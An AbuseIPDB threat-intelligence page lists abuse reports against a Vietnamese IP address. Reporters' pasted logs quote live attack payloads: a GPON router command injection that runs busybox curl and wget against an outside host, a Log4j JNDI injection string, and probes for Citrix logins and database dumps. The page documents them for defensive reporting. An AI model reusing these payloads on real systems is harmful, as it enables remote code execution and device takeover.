JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 27.71.118.28

27.71.118.28 was found in our database!

This IP was reported 20 times. Confidence of Abuse is 15%: ?

15%

ISP	Viettel Group
Usage Type	Fixed Line ISP
ASN	AS7552
Hostname(s)	localhost
Domain Name	viettel.com.vn
Country	🇻🇳 Viet Nam
City	Quang Ngai, Quang Ngai

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 27.71.118.28

Whois 27.71.118.28

IP Abuse Reports for 27.71.118.28:

This IP address has been reported a total of 20 times from 7 distinct sources. 27.71.118.28 was first reported on December 1st 2024, and the most recent report was 1 week ago.

Old Reports: The most recent abuse report for this IP address is from 1 week ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇧🇪 taivas.nl	2026-07-21 07:02:16 (1 week ago)	Bad_requests	Bad Web Bot
🇧🇪 taivas.nl	2026-07-15 08:02:11 (2 weeks ago)	Bad_requests	Bad Web Bot
🇧🇪 taivas.nl	2026-07-09 07:32:11 (2 weeks ago)	Bad_requests	Bad Web Bot
🇧🇪 taivas.nl	2026-07-01 08:02:22 (4 weeks ago)	Bad_requests	Bad Web Bot
🇧🇪 taivas.nl	2026-06-24 10:02:10 (1 month ago)	Bad_requests	Bad Web Bot
🇧🇪 taivas.nl	2026-06-18 04:32:21 (1 month ago)	Many_bad_calls	Web App Attack
🇻🇳 Hoang Huy Hoang	2026-06-17 13:55:00 (1 month ago)	Jun 17 20:53:00 localhost haproxy[9133]: 27.71.118.28:60214 [17/Jun/2026:20:53:00.445] website~ back ... show more Jun 17 20:53:00 localhost haproxy[9133]: 27.71.118.28:60214 [17/Jun/2026:20:53:00.445] website~ backend_bot/worker-16 0/0/22/42/64 405 673 - - ---- 24/24/8/2/0 0/0 "POST /cgi-bin/Save.cgi?cgi=PING HTTP/1.1" Jun 17 20:53:00 localhost haproxy[9133]: 27.71.118.28:60200 [17/Jun/2026:20:53:00.441] website~ backend_bot/worker-05 0/0/21/58/79 405 271 - - ---- 23/23/7/1/0 0/0 "POST /restrito/login/sub/ HTTP/1.1" Jun 17 20:53:00 localhost haproxy[9133]: 27.71.118.28:60212 [17/Jun/2026:20:53:00.442] website~ backend_bot/worker-08 0/0/21/58/79 405 271 - - ---- 22/22/6/1/0 0/0 "POST /Citrix/XenApp/auth/login.aspx HTTP/1.1" show less	Web App Attack Hacking
🇧🇪 taivas.nl	2026-06-17 10:02:12 (1 month ago)	Bad_requests	Bad Web Bot
🇻🇳 Hoang Huy Hoang	2026-06-12 02:29:00 (1 month ago)	Jun 10 16:13:57 ha-02 haproxy[983438]: 27.71.118.28:45920 [10/Jun/2026:16:13:57.644] website-https~ ... show more Jun 10 16:13:57 ha-02 haproxy[983438]: 27.71.118.28:45920 [10/Jun/2026:16:13:57.644] website-https~ website-https/<NOSRV> -1/-1/-1/-1/0 503 221 - - SC-- 1/1/0/0/0 0/0 "GET ///bin///wcm///search///gql.json///a.html?query=type:base%20limit:..1&pathPrefix HTTP/1.1" Jun 10 16:17:18 ha-02 haproxy[983439]: 27.71.118.28:36632 [10/Jun/2026:16:17:18.643] website-https~ website-https/<NOSRV> -1/-1/-1/-1/0 503 221 - - SC-- 1/1/0/0/0 0/0 "GET /bin/wcm/contentfinder/connector/suggestions.json;%0aOJh.css?query_term=path%3a/&pre=3EwHgqeLHCCdxw9zlIdlnkvTPDd HTTP/1.1" show less	Web Spam Brute-Force
Anonymous	2026-06-08 19:10:08 (1 month ago)	Web App Attack, Hacking	Hacking Web App Attack
🇧🇪 taivas.nl	2026-04-12 08:32:11 (3 months ago)	Bad_requests	Bad Web Bot
🇬🇧 NotCool	2026-01-26 00:54:18 (6 months ago)	(bind) bind triggered by 27.71.118.28 (VN/Vietnam/localhost): 10 in the last 3600 secs	DDoS Attack
Anonymous	2025-12-24 18:10:00 (7 months ago)	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.3 ... show more POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Connection: close Content-Length: 242 Accept-Encoding: gzip X-Forwarded-Port: 443 X-Forwarded-Proto: https XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+curl+http%3a//d562ljnm5il1uqcmubcgt545o56cbb1qy.10.255.249.131:8080+-H+'User-Agent%3a+mawgiv'`;busybox wget http://d562ljnm5il1uqcmubcgp7x4mkk47nart.10.255.249.131:8080&ipv=0 show less	DDoS Attack Web Spam Hacking Web App Attack
Anonymous	2025-12-23 19:51:00 (7 months ago)	EXPLOIT Apache log4j RCE Attempt - lower/upper UDP Bypass M1 (Outbound) (CVE-2021-44228) "GET /sol ... show more EXPLOIT Apache log4j RCE Attempt - lower/upper UDP Bypass M1 (Outbound) (CVE-2021-44228) "GET /solr/admin/cores?action=%24%7Bjndi%3Aldap%3A%2F%2F%24%7B%3A-995%7D%24%7B%3A-248%7D.%24%7BhostName%7D.uri.d55f2u7m5il8jvocjsbgme3bhun19apyg.10.255.249.131:8080%2F%7D HTTP/1.1" show less	DDoS Attack Web Spam Hacking Web App Attack
🇻🇳 Nhan Nguyen	2025-12-19 10:15:00 (7 months ago)	27.71.118.28 - - [19/Dec/2025:17:08:57 +0700] "GET /data.sqlitedb HTTP/2.0" 502 150 "-" "Mozilla/5.0 ... show more 27.71.118.28 - - [19/Dec/2025:17:08:57 +0700] "GET /data.sqlitedb HTTP/2.0" 502 150 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.1" 27.71.118.28 - - [19/Dec/2025:17:08:57 +0700] "GET /data.sql.xz HTTP/2.0" 502 150 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15" show less	Hacking Brute-Force Exploited Host

Showing 1 to 15 of 20 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇬🇧 35.203.211.204

🇮🇩 210.79.142.230

🇮🇩 202.155.14.71

🇺🇸 185.226.196.27

🇺🇸 147.185.132.115

🇩🇿 41.99.138.122

🇧🇷 177.191.190.179

🇻🇳 161.248.33.7

🇩🇪 91.92.240.232

🇧🇬 78.128.114.58

🇳🇱 45.148.10.147

🇬🇧 35.203.211.135

🇺🇾 190.134.111.247

🇨🇳 183.215.123.26

🇧🇷 167.250.235.156

🇳🇱 77.165.10.228

🇸🇬 45.78.206.111

🇬🇧 35.203.210.73

🇺🇸 34.182.88.105

🇳🇱 34.158.169.43